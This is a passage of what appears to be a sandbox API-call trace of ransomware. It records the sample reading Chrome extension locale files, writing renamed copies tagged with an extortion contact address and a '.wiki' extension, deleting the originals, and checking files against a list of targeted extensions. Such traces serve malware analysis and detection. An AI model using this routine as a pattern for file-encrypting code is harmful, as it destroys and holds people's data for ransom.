dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.853] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=258) returned 1 [0173.853] CloseHandle (hObject=0x334) returned 1 [0173.853] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json")) returned 0x2020 [0173.853] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.854] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.854] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0173.854] GetLastError () returned 0x0 [0173.854] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x102, lpOverlapped=0x0) returned 1 [0173.855] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.856] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.856] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.856] SetEndOfFile (hFile=0x1ac) returned 1 [0173.856] CloseHandle (hObject=0x1ac) returned 1 [0173.856] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.856] SetEndOfFile (hFile=0x334) returned 1 [0173.857] CloseHandle (hObject=0x334) returned 1 [0173.857] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.857] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json")) returned 1 [0173.858] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.858] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.858] lstrlenW (lpString=".doc") returned 4 [0173.858] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.858] lstrlenW (lpString=".docx") returned 5 [0173.858] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.858] lstrlenW (lpString=".pdf") returned 4 [0173.858] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.858] lstrlenW (lpString=".xls") returned 4 [0173.858] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.858] lstrlenW (lpString=".xlsx") returned 5 [0173.858] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.858] lstrlenW (lpString=".ppt") returned 4 [0173.858] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.858] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.858] lstrlenW (lpString=".zip") returned 4 [0173.858] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.858] lstrlenW (lpString=".rar") returned 4 [0173.858] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.858] lstrlenW (lpString=".bz2") returned 4 [0173.858] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.858] lstrlenW (lpString=".7z") returned 3 [0173.858] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.858] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.858] lstrlenW (lpString=".dbf") returned 4 [0173.858] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.858] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.858] lstrlenW (lpString=".1cd") returned 4 [0173.859] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.859] lstrlenW (lpString=".jpg") returned 4 [0173.859] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.859] lstrlenW (lpString=".doc") returned 4 [0173.859] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.859] lstrlenW (lpString=".docx") returned 5 [0173.859] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.859] lstrlenW (lpString=".pdf") returned 4 [0173.859] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.859] lstrlenW (lpString=".xls") returned 4 [0173.859] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.859] lstrlenW (lpString=".xlsx") returned 5 [0173.859] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.859] lstrlenW (lpString=".ppt") returned 4 [0173.859] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.859] lstrlenW (lpString=".zip") returned 4 [0173.859] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.859] lstrlenW (lpString=".rar") returned 4 [0173.859] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.859] lstrlenW (lpString=".bz2") returned 4 [0173.859] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.859] lstrlenW (lpString=".7z") returned 3 [0173.859] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.859] lstrlenW (lpString=".dbf") returned 4 [0173.859] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.860] lstrlenW (lpString=".1cd") returned 4 [0173.860] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 152 [0173.860] lstrlenW (lpString=".jpg") returned 4 [0173.860] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.860] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.860] lstrlenW (lpString="messages.json") returned 13 [0173.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.860] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=254) returned 1 [0173.860] CloseHandle (hObject=0x334) returned 1 [0173.860] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json")) returned 0x2020 [0173.861] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.861] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.861] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.861] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.861] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0173.861] GetLastError () returned 0x0 [0173.861] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xfe, lpOverlapped=0x0) returned 1 [0173.862] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.863] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.863] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.863] SetEndOfFile (hFile=0x1ac) returned 1 [0173.864] CloseHandle (hObject=0x1ac) returned 1 [0173.864] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.864] SetEndOfFile (hFile=0x334) returned 1 [0173.864] CloseHandle (hObject=0x334) returned 1 [0173.864] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.865] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json")) returned 1 [0173.865] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.865] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.865] lstrlenW (lpString=".doc") returned 4 [0173.865] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.865] lstrlenW (lpString=".docx") returned 5 [0173.865] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.865] lstrlenW (lpString=".pdf") returned 4 [0173.865] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.865] lstrlenW (lpString=".xls") returned 4 [0173.865] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.865] lstrlenW (lpString=".xlsx") returned 5 [0173.865] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.865] lstrlenW (lpString=".ppt") returned 4 [0173.865] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.865] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.865] lstrlenW (lpString=".zip") returned 4 [0173.865] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.865] lstrlenW (lpString=".rar") returned 4 [0173.865] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.865] lstrlenW (lpString=".bz2") returned 4 [0173.865] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.865] lstrlenW (lpString=".7z") returned 3 [0173.866] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.866] lstrlenW (lpString=".dbf") returned 4 [0173.866] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.866] lstrlenW (lpString=".1cd") returned 4 [0173.866] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.866] lstrlenW (lpString=".jpg") returned 4 [0173.866] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.866] lstrlenW (lpString=".doc") returned 4 [0173.866] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.866] lstrlenW (lpString=".docx") returned 5 [0173.866] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.866] lstrlenW (lpString=".pdf") returned 4 [0173.866] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.866] lstrlenW (lpString=".xls") returned 4 [0173.866] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.866] lstrlenW (lpString=".xlsx") returned 5 [0173.866] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.866] lstrlenW (lpString=".ppt") returned 4 [0173.866] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.866] lstrlenW (lpString=".zip") returned 4 [0173.866] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.866] lstrlenW (lpString=".rar") returned 4 [0173.866] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.867] lstrlenW (lpString=".bz2") returned 4 [0173.867] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.867] lstrlenW (lpString=".7z") returned 3 [0173.867] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.867] lstrlenW (lpString=".dbf") returned 4 [0173.867] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.867] lstrlenW (lpString=".1cd") returned 4 [0173.867] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 152 [0173.867] lstrlenW (lpString=".jpg") returned 4 [0173.867] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.867] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.867] lstrlenW (lpString="messages.json") returned 13 [0173.867] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.868] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=242) returned 1 [0173.868] CloseHandle (hObject=0x334) returned 1 [0173.868] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json")) returned 0x2020 [0173.868] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.868] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.868] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.868] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.868] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0173.869] GetLastError () returned 0x0 [0173.869] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xf2, lpOverlapped=0x0) returned 1 [0173.870] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.871] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.871] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.871] SetEndOfFile (hFile=0x1ac) returned 1 [0173.871] CloseHandle (hObject=0x1ac) returned 1 [0173.871] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.871] SetEndOfFile (hFile=0x334) returned 1 [0173.872] CloseHandle (hObject=0x334) returned 1 